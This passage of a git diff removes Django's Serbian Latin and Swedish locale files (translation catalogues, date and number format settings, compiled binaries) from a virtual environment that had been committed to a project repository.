-msgid "AM" -msgstr "AM" - -#: utils/dateformat.py:152 -msgid "midnight" -msgstr "ponoć" - -#: utils/dateformat.py:154 -msgid "noon" -msgstr "podne" - -#: utils/dates.py:7 -msgid "Monday" -msgstr "ponedeljak" - -#: utils/dates.py:8 -msgid "Tuesday" -msgstr "utorak" - -#: utils/dates.py:9 -msgid "Wednesday" -msgstr "sreda" - -#: utils/dates.py:10 -msgid "Thursday" -msgstr "četvrtak" - -#: utils/dates.py:11 -msgid "Friday" -msgstr "petak" - -#: utils/dates.py:12 -msgid "Saturday" -msgstr "subota" - -#: utils/dates.py:13 -msgid "Sunday" -msgstr "nedelja" - -#: utils/dates.py:16 -msgid "Mon" -msgstr "pon." - -#: utils/dates.py:17 -msgid "Tue" -msgstr "uto." - -#: utils/dates.py:18 -msgid "Wed" -msgstr "sre." - -#: utils/dates.py:19 -msgid "Thu" -msgstr "čet." - -#: utils/dates.py:20 -msgid "Fri" -msgstr "pet." - -#: utils/dates.py:21 -msgid "Sat" -msgstr "sub." - -#: utils/dates.py:22 -msgid "Sun" -msgstr "ned." - -#: utils/dates.py:25 -msgid "January" -msgstr "januar" - -#: utils/dates.py:26 -msgid "February" -msgstr "februar" - -#: utils/dates.py:27 -msgid "March" -msgstr "mart" - -#: utils/dates.py:28 -msgid "April" -msgstr "april" - -#: utils/dates.py:29 -msgid "May" -msgstr "maj" - -#: utils/dates.py:30 -msgid "June" -msgstr "jun" - -#: utils/dates.py:31 -msgid "July" -msgstr "jul" - -#: utils/dates.py:32 -msgid "August" -msgstr "avgust" - -#: utils/dates.py:33 -msgid "September" -msgstr "septembar" - -#: utils/dates.py:34 -msgid "October" -msgstr "oktobar" - -#: utils/dates.py:35 -msgid "November" -msgstr "novembar" - -#: utils/dates.py:36 -msgid "December" -msgstr "decembar" - -#: utils/dates.py:39 -msgid "jan" -msgstr "jan." - -#: utils/dates.py:40 -msgid "feb" -msgstr "feb." - -#: utils/dates.py:41 -msgid "mar" -msgstr "mar." - -#: utils/dates.py:42 -msgid "apr" -msgstr "apr." - -#: utils/dates.py:43 -msgid "may" -msgstr "maj." - -#: utils/dates.py:44 -msgid "jun" -msgstr "jun." - -#: utils/dates.py:45 -msgid "jul" -msgstr "jul." - -#: utils/dates.py:46 -msgid "aug" -msgstr "aug." - -#: utils/dates.py:47 -msgid "sep" -msgstr "sep." - -#: utils/dates.py:48 -msgid "oct" -msgstr "okt." - -#: utils/dates.py:49 -msgid "nov" -msgstr "nov." - -#: utils/dates.py:50 -msgid "dec" -msgstr "dec." - -#: utils/dates.py:53 -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -#: utils/dates.py:54 -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -#: utils/dates.py:55 -msgctxt "abbrev. month" -msgid "March" -msgstr "Mart" - -#: utils/dates.py:56 -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -#: utils/dates.py:57 -msgctxt "abbrev. month" -msgid "May" -msgstr "Maj" - -#: utils/dates.py:58 -msgctxt "abbrev. month" -msgid "June" -msgstr "Jun" - -#: utils/dates.py:59 -msgctxt "abbrev. month" -msgid "July" -msgstr "Jul" - -#: utils/dates.py:60 -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Avg." - -#: utils/dates.py:61 -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -#: utils/dates.py:62 -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -#: utils/dates.py:63 -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -#: utils/dates.py:64 -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -#: utils/dates.py:67 -msgctxt "alt. month" -msgid "January" -msgstr "Januar" - -#: utils/dates.py:68 -msgctxt "alt. month" -msgid "February" -msgstr "Februar" - -#: utils/dates.py:69 -msgctxt "alt. month" -msgid "March" -msgstr "Mart" - -#: utils/dates.py:70 -msgctxt "alt. month" -msgid "April" -msgstr "April" - -#: utils/dates.py:71 -msgctxt "alt. month" -msgid "May" -msgstr "Maj" - -#: utils/dates.py:72 -msgctxt "alt. month" -msgid "June" -msgstr "Jun" - -#: utils/dates.py:73 -msgctxt "alt. month" -msgid "July" -msgstr "Jul" - -#: utils/dates.py:74 -msgctxt "alt. month" -msgid "August" -msgstr "Avgust" - -#: utils/dates.py:75 -msgctxt "alt. month" -msgid "September" -msgstr "Septembar" - -#: utils/dates.py:76 -msgctxt "alt. month" -msgid "October" -msgstr "Oktobar" - -#: utils/dates.py:77 -msgctxt "alt. month" -msgid "November" -msgstr "Novembar" - -#: utils/dates.py:78 -msgctxt "alt. month" -msgid "December" -msgstr "Decembar" - -#: utils/ipv6.py:8 -msgid "This is not a valid IPv6 address." -msgstr "Ovo nije ispravna IPv6 adresa." - -#: utils/text.py:70 -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s..." - -#: utils/text.py:255 -msgid "or" -msgstr "ili" - -#. Translators: This string is used as a separator between list elements -#: utils/text.py:274 utils/timesince.py:135 -msgid ", " -msgstr "," - -#: utils/timesince.py:8 -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d godina" -msgstr[1] "%(num)d godine" -msgstr[2] "%(num)d godina" - -#: utils/timesince.py:9 -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mesec" -msgstr[1] "%(num)d meseca" -msgstr[2] "%(num)d meseci" - -#: utils/timesince.py:10 -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d nedelja" -msgstr[1] "%(num)d nedelje" -msgstr[2] "%(num)d nedelja" - -#: utils/timesince.py:11 -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dan" -msgstr[1] "%(num)d dana" -msgstr[2] "%(num)d dana" - -#: utils/timesince.py:12 -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d sat" -msgstr[1] "%(num)d sata" -msgstr[2] "%(num)d sati" - -#: utils/timesince.py:13 -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minut" -msgstr[1] "%(num)d minuta" -msgstr[2] "%(num)d minuta" - -#: views/csrf.py:29 -msgid "Forbidden" -msgstr "Zabranjeno" - -#: views/csrf.py:30 -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF verifikacija nije prošla. Zahtev odbijen." - -#: views/csrf.py:34 -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "Ova poruka je prikazana jer ovaj HTTPS sajt zahteva da \"Referer header\" bude poslat od strane vašeg internet pregledača, što trenutno nije slučaj. Pomenuto zaglavlje je potrebno iz bezbedonosnih razloga, da bi se osiguralo da vaš pregledač nije pod kontrolom trećih lica." - -#: views/csrf.py:40 -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "Ako ste podesili internet pregledač da ne šalje \"Referer\" zaglavlja, ponovo ih uključite, barem za ovaj sajt, ili za HTTPS konekcije, ili za \"same-origin\" zahteve." - -#: views/csrf.py:45 -msgid "" -"If you are using the tag or" -" including the “Referrer-Policy: no-referrer” header, please remove them. " -"The CSRF protection requires the “Referer” header to do strict referer " -"checking. If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "Ako koristite tag ili \"Referrer-Policy: no-referrer\" zaglavlje, molimo da ih uklonite. CSRF zaštita zahteva \"Referer\" zaglavlje da bi se obavila striktna \"referrer\" provera. Ukoliko vas brine privatnost, koristite alternative kao za linkove ka drugim sajtovima." - -#: views/csrf.py:54 -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "Ova poruka je prikazana jer ovaj sajt zahteva CSRF kuki kada se prosleđuju podaci iz formi. Ovaj kuki je potreban iz sigurnosnih razloga, da bi se osiguralo da vaš pretraživač nije pod kontrolom trećih lica." - -#: views/csrf.py:60 -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "Ako je vaš internet pregedač podešen da onemogući kolačiće, molimo da ih uključite, barem za ovaj sajt, ili za \"same-origin\" zahteve." - -#: views/csrf.py:66 -msgid "More information is available with DEBUG=True." -msgstr "Više informacija je dostupno sa DEBUG=True." - -#: views/generic/dates.py:44 -msgid "No year specified" -msgstr "Godina nije naznačena" - -#: views/generic/dates.py:64 views/generic/dates.py:115 -#: views/generic/dates.py:214 -msgid "Date out of range" -msgstr "Datum van opsega" - -#: views/generic/dates.py:94 -msgid "No month specified" -msgstr "Mesec nije naznačen" - -#: views/generic/dates.py:147 -msgid "No day specified" -msgstr "Dan nije naznačen" - -#: views/generic/dates.py:194 -msgid "No week specified" -msgstr "Nedelja nije naznačena" - -#: views/generic/dates.py:349 views/generic/dates.py:380 -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Nedostupni objekti %(verbose_name_plural)s" - -#: views/generic/dates.py:652 -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because " -"%(class_name)s.allow_future is False." -msgstr "Opcija „future“ nije dostupna za „%(verbose_name_plural)s“ jer %(class_name)s.allow_future ima vrednost False." - -#: views/generic/dates.py:692 -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Neispravan datum \"%(datestr)s\" za format \"%(format)s\"" - -#: views/generic/detail.py:56 -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Nijedan objekat klase %(verbose_name)s nije nađen datim upitom." - -#: views/generic/list.py:70 -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Stranica nije poslednja, niti može biti konvertovana u tip \"int\"." - -#: views/generic/list.py:77 -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Neispravna strana (%(page_number)s): %(message)s" - -#: views/generic/list.py:169 -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Prazna lista i „%(class_name)s.allow_empty“ ima vrednost False." - -#: views/static.py:48 -msgid "Directory indexes are not allowed here." -msgstr "Indeksi direktorijuma nisu dozvoljeni ovde." - -#: views/static.py:50 -#, python-format -msgid "“%(path)s” does not exist" -msgstr "„%(path)s“ ne postoji" - -#: views/static.py:67 views/templates/directory_index.html:8 -#: views/templates/directory_index.html:11 -#, python-format -msgid "Index of %(directory)s" -msgstr "Indeks direktorijuma %(directory)s" - -#: views/templates/default_urlconf.html:7 -#: views/templates/default_urlconf.html:220 -msgid "The install worked successfully! Congratulations!" -msgstr "Instalacija je prošla uspešno. Čestitke!" - -#: views/templates/default_urlconf.html:206 -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "Pogledajte napomene uz izdanje za Đango %(version)s" - -#: views/templates/default_urlconf.html:221 -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file " -"and you have not configured any URLs." -msgstr "Ova strana je prikazana jer je DEBUG=True u vašim podešavanjima i niste konfigurisali nijedan URL." - -#: views/templates/default_urlconf.html:229 -msgid "Django Documentation" -msgstr "Đango dokumentacija" - -#: views/templates/default_urlconf.html:230 -msgid "Topics, references, & how-to’s" -msgstr "Teme, reference, & kako-da" - -#: views/templates/default_urlconf.html:238 -msgid "Tutorial: A Polling App" -msgstr "Uputstvo: aplikacija za glasanje" - -#: views/templates/default_urlconf.html:239 -msgid "Get started with Django" -msgstr "Počnite sa Đangom" - -#: views/templates/default_urlconf.html:247 -msgid "Django Community" -msgstr "Đango zajednica" - -#: views/templates/default_urlconf.html:248 -msgid "Connect, get help, or contribute" -msgstr "Povežite se, potražite pomoć ili dajte doprinos" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index d33f1d11..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 4e801c0f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/formats.py deleted file mode 100644 index 00788959..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/formats.py +++ /dev/null @@ -1,44 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y." -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. F Y. H:i" -YEAR_MONTH_FORMAT = "F Y." -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "j.m.Y." -SHORT_DATETIME_FORMAT = "j.m.Y. H:i" -FIRST_DAY_OF_WEEK = 1 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y.", # '25.10.2006.' - "%d.%m.%y.", # '25.10.06.' - "%d. %m. %Y.", # '25. 10. 2006.' - "%d. %m. %y.", # '25. 10. 06.' - # "%d. %b %y.", # '25. Oct 06.' - # "%d. %B %y.", # '25. October 06.' - # "%d. %b '%y.", # '25. Oct '06.' - # "%d. %B '%y.", #'25. October '06.' - # "%d. %b %Y.", # '25. Oct 2006.' - # "%d. %B %Y.", # '25. October 2006.' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y. %H:%M:%S", # '25.10.2006. 14:30:59' - "%d.%m.%Y. %H:%M:%S.%f", # '25.10.2006. 14:30:59.000200' - "%d.%m.%Y. %H:%M", # '25.10.2006. 14:30' - "%d.%m.%y. %H:%M:%S", # '25.10.06. 14:30:59' - "%d.%m.%y. %H:%M:%S.%f", # '25.10.06. 14:30:59.000200' - "%d.%m.%y. %H:%M", # '25.10.06. 14:30' - "%d. %m. %Y. %H:%M:%S", # '25. 10. 2006. 14:30:59' - "%d. %m. %Y. %H:%M:%S.%f", # '25. 10. 2006. 14:30:59.000200' - "%d. %m. %Y. %H:%M", # '25. 10. 2006. 14:30' - "%d. %m. %y. %H:%M:%S", # '25. 10. 06. 14:30:59' - "%d. %m. %y. %H:%M:%S.%f", # '25. 10. 06. 14:30:59.000200' - "%d. %m. %y. %H:%M", # '25. 10. 06. 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sv/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/sv/LC_MESSAGES/django.mo deleted file mode 100644 index 060ef096..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sv/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sv/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/sv/LC_MESSAGES/django.po deleted file mode 100644 index d2f455d5..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sv/LC_MESSAGES/django.po +++ /dev/null @@ -1,1362 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Albin Larsson , 2022 -# Alex Nordlund , 2012 -# Anders Hovmöller , 2023 -# Anders Jonsson , 2022 -# Andreas Pelme , 2014,2021 -# Elias Johnstone , 2022 -# Gustaf Hansen , 2015 -# Jannis Leidel , 2011 -# Jonathan Lindén, 2015 -# Jörgen Olofsson, 2024 -# Ken Lewerentz, 2022 -# Jonathan Lindén, 2014 -# Mattias Hansson , 2016 -# Mattias Benjaminsson , 2011 -# Petter Strandmark , 2019 -# Rasmus Précenth , 2014 -# Samuel Linde , 2011 -# Thomas Lundqvist, 2013,2016 -# Tomas Lööw , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Jörgen Olofsson, 2024\n" -"Language-Team: Swedish (http://app.transifex.com/django/django/language/" -"sv/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sv\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabiska" - -msgid "Algerian Arabic" -msgstr "Algerisk arabiska" - -msgid "Asturian" -msgstr "Asturiska" - -msgid "Azerbaijani" -msgstr "Azerbajdzjanska" - -msgid "Bulgarian" -msgstr "Bulgariska" - -msgid "Belarusian" -msgstr "Vitryska" - -msgid "Bengali" -msgstr "Bengaliska" - -msgid "Breton" -msgstr "Bretonska" - -msgid "Bosnian" -msgstr "Bosniska" - -msgid "Catalan" -msgstr "Katalanska" - -msgid "Central Kurdish (Sorani)" -msgstr "Kurdiska (Sorani)" - -msgid "Czech" -msgstr "Tjeckiska" - -msgid "Welsh" -msgstr "Walesiska" - -msgid "Danish" -msgstr "Danska" - -msgid "German" -msgstr "Tyska" - -msgid "Lower Sorbian" -msgstr "Lågsorbiska" - -msgid "Greek" -msgstr "Grekiska" - -msgid "English" -msgstr "Engelska" - -msgid "Australian English" -msgstr "Australisk engelska" - -msgid "British English" -msgstr "Brittisk engelska" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spanska" - -msgid "Argentinian Spanish" -msgstr "Argentinsk spanska" - -msgid "Colombian Spanish" -msgstr "Colombiansk spanska" - -msgid "Mexican Spanish" -msgstr "Mexikansk spanska" - -msgid "Nicaraguan Spanish" -msgstr "Nicaraguansk spanska" - -msgid "Venezuelan Spanish" -msgstr "Spanska (Venezuela)" - -msgid "Estonian" -msgstr "Estländska" - -msgid "Basque" -msgstr "Baskiska" - -msgid "Persian" -msgstr "Persiska" - -msgid "Finnish" -msgstr "Finska" - -msgid "French" -msgstr "Franska" - -msgid "Frisian" -msgstr "Frisiska" - -msgid "Irish" -msgstr "Irländska" - -msgid "Scottish Gaelic" -msgstr "Skotsk gäliska" - -msgid "Galician" -msgstr "Galisiska" - -msgid "Hebrew" -msgstr "Hebreiska" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroatiska" - -msgid "Upper Sorbian" -msgstr "Högsorbiska" - -msgid "Hungarian" -msgstr "Ungerska" - -msgid "Armenian" -msgstr "Armeniska" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesiska" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Isländska" - -msgid "Italian" -msgstr "Italienska" - -msgid "Japanese" -msgstr "Japanska" - -msgid "Georgian" -msgstr "Georgiska" - -msgid "Kabyle" -msgstr "Kabyliska" - -msgid "Kazakh" -msgstr "Kazakiska" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreanska" - -msgid "Kyrgyz" -msgstr "Kirgiziska" - -msgid "Luxembourgish" -msgstr "Luxemburgiska" - -msgid "Lithuanian" -msgstr "Lettiska" - -msgid "Latvian" -msgstr "Lettiska" - -msgid "Macedonian" -msgstr "Makedonska" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongoliska" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malajiska" - -msgid "Burmese" -msgstr "Burmesiska" - -msgid "Norwegian Bokmål" -msgstr "Norskt Bokmål" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Holländska" - -msgid "Norwegian Nynorsk" -msgstr "Norska (nynorsk)" - -msgid "Ossetic" -msgstr "Ossetiska" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polska" - -msgid "Portuguese" -msgstr "Portugisiska" - -msgid "Brazilian Portuguese" -msgstr "Brasiliensk portugisiska" - -msgid "Romanian" -msgstr "Rumänska" - -msgid "Russian" -msgstr "Ryska" - -msgid "Slovak" -msgstr "Slovakiska" - -msgid "Slovenian" -msgstr "Slovenska" - -msgid "Albanian" -msgstr "Albanska" - -msgid "Serbian" -msgstr "Serbiska" - -msgid "Serbian Latin" -msgstr "Serbiska (latin)" - -msgid "Swedish" -msgstr "Svenska" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamilska" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tadzjikiska" - -msgid "Thai" -msgstr "Thailändska" - -msgid "Turkmen" -msgstr "Turkmeniska" - -msgid "Turkish" -msgstr "Turkiska" - -msgid "Tatar" -msgstr "Tatariska" - -msgid "Udmurt" -msgstr "Udmurtiska" - -msgid "Uyghur" -msgstr "Uiguriska" - -msgid "Ukrainian" -msgstr "Ukrainska" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbekiska" - -msgid "Vietnamese" -msgstr "Vietnamesiska" - -msgid "Simplified Chinese" -msgstr "Förenklad Kinesiska" - -msgid "Traditional Chinese" -msgstr "Traditionell Kinesiska" - -msgid "Messages" -msgstr "Meddelanden" - -msgid "Site Maps" -msgstr "Sidkartor" - -msgid "Static Files" -msgstr "Statiska filer" - -msgid "Syndication" -msgstr "Syndikering" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Sidnumret är inte ett heltal" - -msgid "That page number is less than 1" -msgstr "Sidnumret är mindre än 1" - -msgid "That page contains no results" -msgstr "Sidan innehåller inga resultat" - -msgid "Enter a valid value." -msgstr "Fyll i ett giltigt värde." - -msgid "Enter a valid domain name." -msgstr "Fyll i ett giltigt domännamn." - -msgid "Enter a valid URL." -msgstr "Fyll i en giltig URL." - -msgid "Enter a valid integer." -msgstr "Fyll i ett giltigt heltal." - -msgid "Enter a valid email address." -msgstr "Fyll i en giltig e-postadress." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Fyll i en giltig 'slug', beståendes av bokstäver, siffror, understreck eller " -"bindestreck i Unicode." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Fyll i en giltig 'slug', beståendes av bokstäver, siffror, understreck eller " -"bindestreck i Unicode." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Fyll i en giltig %(protocol)s adress." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 eller IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Fyll enbart i siffror separerade med kommatecken." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Kontrollera att detta värde är %(limit_value)s (det är %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Kontrollera att detta värde är mindre än eller lika med %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Kontrollera att detta värde är större än eller lika med %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Kontrollera att detta värde är multipel av stegstorlek %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Kontrollera att detta värde är en multipel med stegstorlek %(limit_value)s, " -"med början från %(offset)s, t ex. %(offset)s, %(valid_value1)s, " -"%(valid_value2)s och så vidare" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Säkerställ att detta värde åtminstone har %(limit_value)d tecken (den har " -"%(show_value)d)." -msgstr[1] "" -"Säkerställ att detta värde åtminstone har %(limit_value)d tecken (den har " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Säkerställ att detta värde har som mest %(limit_value)d tecken (den har " -"%(show_value)d)." -msgstr[1] "" -"Säkerställ att detta värde har som mest %(limit_value)d tecken (den har " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Fyll i ett tal." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Säkerställ att det inte är mer än %(max)s siffra totalt." -msgstr[1] "Säkerställ att det inte är mer än %(max)s siffror totalt." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Säkerställ att det inte är mer än %(max)s decimal." -msgstr[1] "Säkerställ att det inte är mer än %(max)s decimaler." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Säkerställ att det inte är mer än %(max)s siffra före decimalavskiljaren." -msgstr[1] "" -"Säkerställ att det inte är mer än %(max)s siffror före decimalavskiljaren." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Filändelsen “%(extension)s” är inte giltig. Giltiga filändelser är: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Null-tecken är inte tillåtna." - -msgid "and" -msgstr "och" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s med samma %(field_labels)s finns redan." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Begränsningen “%(name)s” överträds." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Värdet %(value)r är inget giltigt alternativ." - -msgid "This field cannot be null." -msgstr "Detta fält får inte vara null." - -msgid "This field cannot be blank." -msgstr "Detta fält får inte vara tomt." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s med detta %(field_label)s finns redan." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s måste vara unikt för %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Fält av typ: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Värdet \"%(value)s\" måste vara antingen True eller False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Värdet ”%(value)s” måste vara antingen True, False eller None." - -msgid "Boolean (Either True or False)" -msgstr "Boolesk (antingen True eller False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Sträng (upp till %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Sträng (obegränsad)" - -msgid "Comma-separated integers" -msgstr "Komma-separerade heltal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” har ett ogiltigt datumformat. Det måste vara i formatet YYYY-MM-" -"DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Värdet “%(value)s” har det giltiga formatet (YYYY-MM-DD) men det är ett " -"ogiltigt datum." - -msgid "Date (without time)" -msgstr "Datum (utan tid)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” har ett ogiltigt format. Det måste vara i formatet YYYY-MM-DD HH:" -"MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” har det giltiga formatet (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) " -"men ett ogiltigt datum/tid." - -msgid "Date (with time)" -msgstr "Datum (med tid)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Värdet “%(value)s” måste vara ett decimaltal." - -msgid "Decimal number" -msgstr "Decimaltal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” har ett ogiltigt format. Det måste vara i formatet [DD] " 